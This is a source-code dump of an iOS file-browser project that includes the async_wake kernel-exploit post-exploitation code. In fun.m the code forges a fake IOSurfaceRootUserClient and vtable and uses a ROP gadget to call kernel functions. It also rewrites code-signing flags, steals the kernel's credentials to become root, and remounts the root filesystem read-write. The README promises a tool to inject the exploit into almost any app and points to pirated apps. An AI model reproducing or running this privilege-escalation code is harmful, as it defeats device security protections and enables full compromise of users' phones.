#define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo)) 573 | 574 | #define PROC_PIDTASKINFO 4 575 | #define PROC_PIDTASKINFO_SIZE (sizeof(struct proc_taskinfo)) 576 | 577 | #define PROC_PIDTHREADINFO 5 578 | #define PROC_PIDTHREADINFO_SIZE (sizeof(struct proc_threadinfo)) 579 | 580 | #define PROC_PIDLISTTHREADS 6 581 | #define PROC_PIDLISTTHREADS_SIZE (2* sizeof(uint32_t)) 582 | 583 | 584 | #define PROC_PIDREGIONINFO 7 585 | #define PROC_PIDREGIONINFO_SIZE (sizeof(struct proc_regioninfo)) 586 | 587 | #define PROC_PIDREGIONPATHINFO 8 588 | #define PROC_PIDREGIONPATHINFO_SIZE (sizeof(struct proc_regionwithpathinfo)) 589 | 590 | #define PROC_PIDVNODEPATHINFO 9 591 | #define PROC_PIDVNODEPATHINFO_SIZE (sizeof(struct proc_vnodepathinfo)) 592 | 593 | #define PROC_PIDTHREADPATHINFO 10 594 | #define PROC_PIDTHREADPATHINFO_SIZE (sizeof(struct proc_threadwithpathinfo)) 595 | 596 | #define PROC_PIDPATHINFO 11 597 | #define PROC_PIDPATHINFO_SIZE (MAXPATHLEN) 598 | #define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN) 599 | 600 | #define PROC_PIDWORKQUEUEINFO 12 601 | #define PROC_PIDWORKQUEUEINFO_SIZE (sizeof(struct proc_workqueueinfo)) 602 | 603 | /* Flavors for proc_pidfdinfo */ 604 | 605 | #define PROC_PIDFDVNODEINFO 1 606 | #define PROC_PIDFDVNODEINFO_SIZE (sizeof(struct vnode_fdinfo)) 607 | 608 | #define PROC_PIDFDVNODEPATHINFO 2 609 | #define PROC_PIDFDVNODEPATHINFO_SIZE (sizeof(struct vnode_fdinfowithpath)) 610 | 611 | #define PROC_PIDFDSOCKETINFO 3 612 | #define PROC_PIDFDSOCKETINFO_SIZE (sizeof(struct socket_fdinfo)) 613 | 614 | #define PROC_PIDFDPSEMINFO 4 615 | #define PROC_PIDFDPSEMINFO_SIZE (sizeof(struct psem_fdinfo)) 616 | 617 | #define PROC_PIDFDPSHMINFO 5 618 | #define PROC_PIDFDPSHMINFO_SIZE (sizeof(struct pshm_fdinfo)) 619 | 620 | #define PROC_PIDFDPIPEINFO 6 621 | #define PROC_PIDFDPIPEINFO_SIZE (sizeof(struct pipe_fdinfo)) 622 | 623 | #define PROC_PIDFDKQUEUEINFO 7 624 | #define PROC_PIDFDKQUEUEINFO_SIZE (sizeof(struct kqueue_fdinfo)) 625 | 626 | #define PROC_PIDFDATALKINFO 8 627 | #define PROC_PIDFDATALKINFO_SIZE (sizeof(struct appletalk_fdinfo)) 628 | 629 | /* used for proc_setcontrol */ 630 | #define PROC_SELFSET_PCONTROL 1 631 | 632 | 633 | __END_DECLS 634 | 635 | #endif /*_SYS_PROC_INFO_H */ 636 | -------------------------------------------------------------------------------- /Files/the_fun_part/fun.h: -------------------------------------------------------------------------------- 1 | // 2 | // fun.h 3 | // async_wake_ios 4 | // 5 | // Created by George on 14/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #ifndef fun_h 10 | #define fun_h 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #import 18 | #import 19 | #import 20 | #import 21 | #import 22 | #import 23 | #import 24 | 25 | #include 26 | 27 | #include 28 | 29 | #include 30 | 31 | #include "kmem.h" 32 | #include "find_port.h" 33 | #include "kutils.h" 34 | #include "symbols.h" 35 | #include "early_kalloc.h" 36 | #include "kcall.h" 37 | #include "kdbg.h" 38 | #include "patchfinder64.h" 39 | 40 | kern_return_t mach_vm_read( 41 | vm_map_t target_task, 42 | mach_vm_address_t address, 43 | mach_vm_size_t size, 44 | vm_offset_t *data, 45 | mach_msg_type_number_t *dataCnt); 46 | 47 | /****** IOKit/IOKitLib.h *****/ 48 | typedef mach_port_t io_service_t; 49 | typedef mach_port_t io_connect_t; 50 | 51 | extern const mach_port_t kIOMasterPortDefault; 52 | #define IO_OBJECT_NULL (0) 53 | 54 | kern_return_t 55 | IOConnectCallAsyncMethod( 56 | mach_port_t connection, 57 | uint32_t selector, 58 | mach_port_t wakePort, 59 | uint64_t* reference, 60 | uint32_t referenceCnt, 61 | const uint64_t* input, 62 | uint32_t inputCnt, 63 | const void* inputStruct, 64 | size_t inputStructCnt, 65 | uint64_t* output, 66 | uint32_t* outputCnt, 67 | void* outputStruct, 68 | size_t* outputStructCntP); 69 | 70 | kern_return_t 71 | IOConnectCallMethod( 72 | mach_port_t connection, 73 | uint32_t selector, 74 | const uint64_t* input, 75 | uint32_t inputCnt, 76 | const void* inputStruct, 77 | size_t inputStructCnt, 78 | uint64_t* output, 79 | uint32_t* outputCnt, 80 | void* outputStruct, 81 | size_t* outputStructCntP); 82 | 83 | io_service_t 84 | IOServiceGetMatchingService( 85 | mach_port_t _masterPort, 86 | CFDictionaryRef matching); 87 | 88 | CFMutableDictionaryRef 89 | IOServiceMatching( 90 | const char* name); 91 | 92 | kern_return_t 93 | IOServiceOpen( 94 | io_service_t service, 95 | task_port_t owningTask, 96 | uint32_t type, 97 | io_connect_t* connect ); 98 | 99 | 100 | void let_the_fun_begin(mach_port_t tfp0, mach_port_t user_client); 101 | 102 | #endif /* fun_h */ 103 | -------------------------------------------------------------------------------- /Files/the_fun_part/fun.m: -------------------------------------------------------------------------------- 1 | // 2 | // fun.c 3 | // async_wake_ios 4 | // 5 | // Created by George on 14/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include "fun.h" 10 | #include 11 | 12 | 13 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 14 | unsigned offsetof_task = 0x18; // proc_t::task 15 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 16 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 17 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 18 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 19 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 20 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 21 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 22 | unsigned offsetof_special = 2 * sizeof(long); // host::special 23 | 24 | #define CS_VALID 0x0000001 /* dynamically valid */ 25 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 26 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 27 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 28 | 29 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 30 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 31 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 32 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 33 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 34 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 35 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 36 | 37 | #define CS_ALLOWED_MACHO 0x00ffffe 38 | 39 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 40 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 41 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 42 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 43 | 44 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 45 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 46 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 47 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 48 | 49 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 50 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 51 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 52 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 53 | 54 | 55 | mach_port_t tfpzero; 56 | 57 | int file_exist (char *filename) 58 | { 59 | struct stat buffer; 60 | return (stat (filename, &buffer) == 0); 61 | } 62 | 63 | size_t kread(uint64_t where, void *p, size_t size) 64 | { 65 | int rv; 66 | size_t offset = 0; 67 | while (offset < size) { 68 | mach_vm_size_t sz, chunk = 2048; 69 | if (chunk > size - offset) { 70 | chunk = size - offset; 71 | } 72 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 73 | if (rv || sz == 0) { 74 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 75 | break; 76 | } 77 | offset += sz; 78 | } 79 | return offset; 80 | } 81 | 82 | size_t 83 | kwrite(uint64_t where, const void *p, size_t size) 84 | { 85 | int rv; 86 | size_t offset = 0; 87 | while (offset < size) { 88 | size_t chunk = 2048; 89 | if (chunk > size - offset) { 90 | chunk = size - offset; 91 | } 92 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 93 | if (rv) { 94 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 95 | break; 96 | } 97 | offset += chunk; 98 | } 99 | return offset; 100 | } 101 | 102 | static uint64_t 103 | kalloc(vm_size_t size) 104 | { 105 | mach_vm_address_t address = 0; 106 | 107 | 108 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 109 | return address; 110 | } 111 | 112 | //uint64_t hibit_guess = 0; 113 | 114 | void let_the_fun_begin(mach_port_t tfp0, mach_port_t user_client) { 115 | kern_return_t err; 116 | 117 | tfpzero = tfp0; 118 | 119 | init_kernel(find_kernel_base(), NULL); 120 | 121 | // Get the slide 122 | uint64_t slide = find_kernel_base() - 0xFFFFFFF007004000; 123 | printf("slide: 0x%016llx\n", slide); 124 | 125 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 126 | uint64_t IOSurfaceRootUserClient_port = find_port_address(user_client, MACH_MSG_TYPE_MAKE_SEND); 127 | uint64_t IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 128 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); 129 | 130 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 131 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 132 | 133 | 134 | // Create the vtable in the kernel memory, then copy the existing vtable into there 135 | uint64_t fake_vtable; 136 | err = vm_allocate((vm_map_t)tfp0, (vm_address_t *)&fake_vtable, 0x1000, VM_FLAGS_ANYWHERE); 137 | 138 | printf("Created fake_vtable at %016llx\n", fake_vtable); 139 | 140 | for (int i = 0; i < 0x200; i++) { 141 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 142 | } 143 | 144 | printf("Copied some of the vtable over\n"); 145 | 146 | 147 | // Create the fake user client 148 | uint64_t fake_client; 149 | err = vm_allocate((vm_map_t)tfp0, (vm_address_t *)&fake_client, 0x1000, VM_FLAGS_ANYWHERE); 150 | 151 | printf("Created fake_client at %016llx\n", fake_client); 152 | 153 | for (int i = 0; i < 0x200; i++) { 154 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 155 | } 156 | 157 | printf("Copied the user client over\n"); 158 | 159 | 160 | // Write our fake vtable into the fake user client 161 | wk64(fake_client, fake_vtable); 162 | 163 | // Replace the user client with ours 164 | wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client); 165 | 166 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 167 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret()); 168 | 169 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex\n"); 170 | 171 | 172 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 173 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 174 | // (i'm not actually sure if the switch back is necessary but meh 175 | #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \ 176 | do { \ 177 | uint64_t offx20 = rk64(fake_client+0x40); \ 178 | uint64_t offx28 = rk64(fake_client+0x48); \ 179 | wk64(fake_client+0x40, x0); \ 180 | wk64(fake_client+0x48, addr); \ 181 | err = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); \ 182 | wk64(fake_client+0x40, offx20); \ 183 | wk64(fake_client+0x48, offx28); \ 184 | } while (0); 185 | 186 | // Get our and the kernels struct proc from allproc 187 | uint32_t our_pid = getpid(); 188 | uint64_t our_proc = 0; 189 | uint64_t kern_proc = 0; 190 | uint64_t springboard_proc = 0; 191 | 192 | uint64_t proc = rk64(find_allproc()); 193 | while (proc) { 194 | uint32_t pid = (uint32_t)rk32(proc + 0x10); 195 | char name[40] = {0}; 196 | kread(proc+0x268, name, 20); 197 | // printf("%s\n",name); 198 | if (pid == our_pid) { 199 | our_proc = proc; 200 | } else if (pid == 0) { 201 | kern_proc = proc; 202 | } else if (!strcmp("SpringBoard", name)) { 203 | springboard_proc = proc; 204 | } 205 | proc = rk64(proc); 206 | } 207 | 208 | printf("our proc is at 0x%016llx\n", our_proc); 209 | printf("kern proc is at 0x%016llx\n", kern_proc); 210 | 211 | // Give us some special flags 212 | uint32_t csflags = rk32(our_proc + offsetof_p_csflags); 213 | wk32(our_proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_KILL | CS_HARD)); 214 | 215 | // Properly copy the kernel's credentials so setuid(0) doesn't crash 216 | uint64_t kern_ucred = 0; 217 | KCALL(find_copyout(), kern_proc+0x100, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0); 218 | 219 | uint64_t self_ucred = 0; 220 | KCALL(find_copyout(), our_proc+0x100, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0); 221 | 222 | KCALL(find_bcopy(), kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0); 223 | KCALL(find_bzero(), self_ucred + 0x18, 12, 0, 0, 0, 0, 0); 224 | 225 | setuid(0); 226 | 227 | printf("our uid is %d\n", getuid()); 228 | 229 | FILE *f = fopen("/var/mobile/test.txt", "w"); 230 | if (f == 0) { 231 | printf("failed to write test file"); 232 | } else { 233 | printf("wrote test file: %p\n", f); 234 | } 235 | 236 | // Remount / as rw - patch by xerub 237 | { 238 | vm_offset_t off = 0xd8; 239 | uint64_t _rootvnode = find_rootvnode(); 240 | uint64_t rootfs_vnode = rk64(_rootvnode); 241 | uint64_t v_mount = rk64(rootfs_vnode + off); 242 | uint32_t v_flag = rk32(v_mount + 0x71); 243 | 244 | wk32(v_mount + 0x71, v_flag & ~(1 << 6)); 245 | 246 | char *nmz = strdup("/dev/disk0s1s1"); 247 | int rv = mount("hfs", "/", MNT_UPDATE, (void *)&nmz); 248 | printf("remounting: %d\n", rv); 249 | 250 | v_mount = rk64(rootfs_vnode + off); 251 | wk32(v_mount + 0x71, v_flag); 252 | 253 | int fd = open("/.bit_of_fun", O_RDONLY); 254 | if (fd == -1) { 255 | fd = creat("/.bit_of_fun", 0644); 256 | } else { 257 | printf("File already exists!\n"); 258 | } 259 | close(fd); 260 | 261 | 262 | printf("Did we mount / as read+write? %s\n", file_exist("/.bit_of_fun") ? "yes" : "no"); 263 | 264 | printf("first four values of amficache: %08x\n", rk32(find_amficache())); 265 | printf("trust cache at: %016llx\n", rk64(find_trustcache())); 266 | 267 | 268 | 269 | // Cleanup 270 | 271 | wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr); 272 | } 273 | } 274 | -------------------------------------------------------------------------------- /Files/the_fun_part/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | int init_kernel(uint64_t base, const char *filename); 5 | void term_kernel(void); 6 | 7 | enum { SearchInCore, SearchInPrelink }; 8 | 9 | uint64_t find_register_value(uint64_t where, int reg); 10 | uint64_t find_reference(uint64_t to, int n, int prelink); 11 | uint64_t find_strref(const char *string, int n, int prelink); 12 | uint64_t find_gPhysBase(void); 13 | uint64_t find_kernel_pmap(void); 14 | uint64_t find_amfiret(void); 15 | uint64_t find_ret_0(void); 16 | uint64_t find_amfi_memcmpstub(void); 17 | uint64_t find_sbops(void); 18 | uint64_t find_lwvm_mapio_patch(void); 19 | uint64_t find_lwvm_mapio_newj(void); 20 | 21 | uint64_t find_entry(void); 22 | const unsigned char *find_mh(void); 23 | 24 | uint64_t find_cpacr_write(void); 25 | uint64_t find_str(const char *string); 26 | uint64_t find_amfiops(void); 27 | uint64_t find_sysbootnonce(void); 28 | uint64_t find_symbol(const char *symbol); 29 | 30 | // Funnnn 31 | uint64_t find_allproc(void); 32 | uint64_t find_add_x0_x0_0x40_ret(void); 33 | uint64_t find_copyout(void); 34 | uint64_t find_bzero(void); 35 | uint64_t find_bcopy(void); 36 | uint64_t find_rootvnode(void); 37 | uint64_t find_trustcache(void); // TODO 38 | uint64_t find_amficache(void); 39 | 40 | #endif 41 | -------------------------------------------------------------------------------- /FilesDocumentProvider/Base.lproj/MainInterface.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /FilesDocumentProvider/DocumentPickerViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // DocumentPickerViewController.h 3 | // FilesDocumentProvider 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface DocumentPickerViewController : UIDocumentPickerExtensionViewController 12 | 13 | @end 14 | -------------------------------------------------------------------------------- /FilesDocumentProvider/DocumentPickerViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // DocumentPickerViewController.m 3 | // FilesDocumentProvider 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "DocumentPickerViewController.h" 10 | #import "FBColumnViewController.h" 11 | #import "FBFilesTableViewController.h" 12 | #import "FBColumnNavigationController.h" 13 | 14 | 15 | @implementation DocumentPickerViewController 16 | 17 | -(void)prepareForPresentationInMode:(UIDocumentPickerMode)mode { 18 | 19 | FBFilesTableViewController *tc = [[FBFilesTableViewController alloc] initWithPath:@"/"]; 20 | FBColumnNavigationController *cnc = [[FBColumnNavigationController alloc] initWithRootViewController:tc]; 21 | 22 | FBColumnViewController *columnViewController = [[FBColumnViewController alloc] initWithRootViewController:cnc]; 23 | 24 | tc.columnViewController = columnViewController; 25 | 26 | columnViewController.view.frame = CGRectMake(0, 44, self.view.bounds.size.width, self.view.bounds.size.height); 27 | 28 | [self.view addSubview:columnViewController.view]; 29 | 30 | [[NSNotificationCenter defaultCenter] addObserverForName:@"FBPickedFileURL" object:nil queue:[NSOperationQueue mainQueue] usingBlock:^(NSNotification * _Nonnull note) { 31 | 32 | NSURL *url = note.object; 33 | NSURL *tempURL = [NSURL URLWithString:[[url absoluteString] lastPathComponent] relativeToURL:self.documentStorageURL]; 34 | 35 | [url.absoluteString writeToURL:tempURL atomically:NO encoding:NSUTF8StringEncoding error:nil]; 36 | 37 | [self dismissGrantingAccessToURL:tempURL]; 38 | }]; 39 | } 40 | 41 | @end 42 | -------------------------------------------------------------------------------- /FilesDocumentProvider/FilesDocumentProvider.entitlements: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.security.application-groups 6 | 7 | group.com.highcaffeinecontent.Files 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /FilesDocumentProvider/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | en 7 | CFBundleDisplayName 8 | Files 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | XPC! 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleSignature 22 | ???? 23 | CFBundleVersion 24 | 1 25 | NSExtension 26 | 27 | NSExtensionAttributes 28 | 29 | UIDocumentPickerModes 30 | 31 | UIDocumentPickerModeImport 32 | UIDocumentPickerModeOpen 33 | 34 | UIDocumentPickerSupportedFileTypes 35 | 36 | public.content 37 | 38 | 39 | NSExtensionMainStoryboard 40 | MainInterface 41 | NSExtensionPointIdentifier 42 | com.apple.fileprovider-ui 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /FilesDocumentProviderFileProvider/FileProvider.h: -------------------------------------------------------------------------------- 1 | // 2 | // FileProvider.h 3 | // FilesDocumentProviderFileProvider 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface FileProvider : NSFileProviderExtension 12 | 13 | @end 14 | -------------------------------------------------------------------------------- /FilesDocumentProviderFileProvider/FileProvider.m: -------------------------------------------------------------------------------- 1 | // 2 | // FileProvider.m 3 | // FilesDocumentProviderFileProvider 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "FileProvider.h" 10 | #import 11 | 12 | @interface FileProvider () 13 | 14 | @end 15 | 16 | @implementation FileProvider 17 | 18 | - (NSFileCoordinator *)fileCoordinator { 19 | NSFileCoordinator *fileCoordinator = [[NSFileCoordinator alloc] init]; 20 | [fileCoordinator setPurposeIdentifier:[self providerIdentifier]]; 21 | return fileCoordinator; 22 | } 23 | 24 | - (instancetype)init { 25 | self = [super init]; 26 | if (self) { 27 | [self.fileCoordinator coordinateWritingItemAtURL:[self documentStorageURL] options:0 error:nil byAccessor:^(NSURL *newURL) { 28 | // ensure the documentStorageURL actually exists 29 | NSError *error = nil; 30 | [[NSFileManager defaultManager] createDirectoryAtURL:newURL withIntermediateDirectories:YES attributes:nil error:&error]; 31 | }]; 32 | } 33 | return self; 34 | } 35 | 36 | - (void)providePlaceholderAtURL:(NSURL *)url completionHandler:(void (^)(NSError *error))completionHandler { 37 | // Should call + writePlaceholderAtURL:withMetadata:error: with the placeholder URL, then call the completion handler with the error if applicable. 38 | NSString *fileName = [url lastPathComponent]; 39 | 40 | NSURL *tempURL = [self.documentStorageURL URLByAppendingPathComponent:fileName]; 41 | NSURL *redirectedURL = [NSURL URLWithString:[NSString stringWithContentsOfURL:tempURL encoding:NSUTF8StringEncoding error:nil]]; 42 | 43 | NSURL *placeholderURL = [NSFileProviderExtension placeholderURLForURL:redirectedURL]; 44 | 45 | NSDictionary *attribs = [[NSFileManager defaultManager] attributesOfItemAtPath:[[self.documentStorageURL URLByAppendingPathComponent:fileName] path] error:nil]; 46 | 47 | unsigned long long fileSize = [attribs fileSize]; 48 | 49 | NSDictionary* metadata = @{ NSURLFileSizeKey : @(fileSize)}; 50 | [NSFileProviderExtension writePlaceholderAtURL:placeholderURL withMetadata:metadata error:NULL]; 51 | 52 | if (completionHandler) { 53 | completionHandler(nil); 54 | } 55 | } 56 | 57 | - (void)startProvidingItemAtURL:(NSURL *)url completionHandler:(void (^)(NSError *))completionHandler { 58 | // Should ensure that the actual file is in the position returned by URLForItemWithIdentifier:, then call the completion handler 59 | NSError *fileError = nil; 60 | 61 | NSURL *redirectedURL = [NSURL URLWithString:[NSString stringWithContentsOfURL:url encoding:NSUTF8StringEncoding error:nil]]; 62 | NSData *fileData = [NSData dataWithContentsOfURL:redirectedURL]; 63 | 64 | [fileData writeToURL:url options:0 error:&fileError]; 65 | 66 | if (completionHandler) { 67 | completionHandler(nil); 68 | } 69 | } 70 | 71 | 72 | - (void)itemChangedAtURL:(NSURL *)url { 73 | // Called at some point after the file has changed; the provider may then trigger an upload 74 | 75 | // TODO: mark file at as needing an update in the model; kick off update process 76 | NSLog(@"Item changed at URL %@", url); 77 | } 78 | 79 | - (void)stopProvidingItemAtURL:(NSURL *)url { 80 | // Called after the last claim to the file has been released. At this point, it is safe for the file provider to remove the content file. 81 | // Care should be taken that the corresponding placeholder file stays behind after the content file has been deleted. 82 | 83 | [[NSFileManager defaultManager] removeItemAtURL:url error:NULL]; 84 | [self providePlaceholderAtURL:url completionHandler:^(NSError * __nullable error) { 85 | // TODO: handle any error, do any necessary cleanup 86 | }]; 87 | } 88 | 89 | @end 90 | -------------------------------------------------------------------------------- /FilesDocumentProviderFileProvider/FilesDocumentProviderFileProvider.entitlements: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.security.application-groups 6 | 7 | group.com.highcaffeinecontent.Files 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /FilesDocumentProviderFileProvider/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | en 7 | CFBundleDisplayName 8 | FilesDocumentProviderFileProvider 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | XPC! 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleSignature 22 | ???? 23 | CFBundleVersion 24 | 1 25 | NSExtension 26 | 27 | NSExtensionFileProviderDocumentGroup 28 | group.com.highcaffeinecontent.Files 29 | NSExtensionPointIdentifier 30 | com.apple.fileprovider-nonui 31 | NSExtensionPrincipalClass 32 | FileProvider 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Files 2 | ============= 3 | 4 | Next-generation file browser for iOS. 5 | 6 | * Multiple-column-UI on iPad 7 | * System-wide Document Provider - open files in other apps 8 | * Go to Folder 9 | * Sorting options 10 | * RW ACCESS OVER THE FILESYSTEM YAY 11 | * Option to edit exiting files (WARNING DO NOT CLICK SAVE WHEN OPENING BINARIES, THEY WILL GET ERASED (TODO) 12 | * Option to create new files 13 | * ~~IPA -> https://github.com/jakeajames/files-ios/releases/~~ IPA IS BROKEN, WILL FIX SOON. Also, I will release a working Filza ipa with rw but can't post it here, as it is copyrighted. If you want that check my twitter (@jakeashacks) 14 | 15 | UPDATE: From my findings looks like is Cydia Imapctor the one which doesn't support my ipa. You'll have to use the xcodeproj. ~~It only works in Xcode 8, apparently. I'll update the code so it uses UIAlertControllers.~~ FIXED XCODE 9. Also, you have to link IOKit.tbd (take it from yalu) in Build Phases -> Link Bundle With Libraries 16 | 17 | Coming soon: 18 | 19 | - Filza jailed (no link here, illegal) 20 | - iFile jailed (no link here, illegal) 21 | - An open-source tool to inject the exploit on almost any ipa and make it run with full root and rw privileges (LEGAL) 22 | 23 | Screenshots 24 | ============= 25 | 26 | [![](https://lh3.googleusercontent.com/-bPGPJDM78p0/V13sA3epxEI/AAAAAAAACNs/McPEkTL1mZY9pYrZxmZzsFibBwDoDz_ugCCo/s800/A1.jpg)](https://lh3.googleusercontent.com/-bPGPJDM78p0/V13sA3epxEI/AAAAAAAACNs/McPEkTL1mZY9pYrZxmZzsFibBwDoDz_ugCCo/s800/A1.jpg) 27 | [![](https://lh3.googleusercontent.com/-rGNEWd7z0TI/V13sBJw41kI/AAAAAAAACN0/7pgt7BGXvLsgIuOg5R-mFFmf0sZutuRNwCCo/s800/A2.jpg)](https://lh3.googleusercontent.com/-rGNEWd7z0TI/V13sBJw41kI/AAAAAAAACN0/7pgt7BGXvLsgIuOg5R-mFFmf0sZutuRNwCCo/s800/A2.jpg) 28 | 29 | TODO 30 | ============= 31 | 32 | * Fix new files not showing up instantly 33 | * Add option to remove files 34 | * Copy-pasting files 35 | * Prevent overwriting binaries 36 | 37 | CREDITS 38 | ============= 39 | 40 | * Ian Beer (exploit) 41 | * theninjaprawn + Todesco + xerub (root rw) 42 | * steventroughtonsmith (file manager) 43 | * Jake James (small touches and made everything together) 44 | --------------------------------------------------------------------------------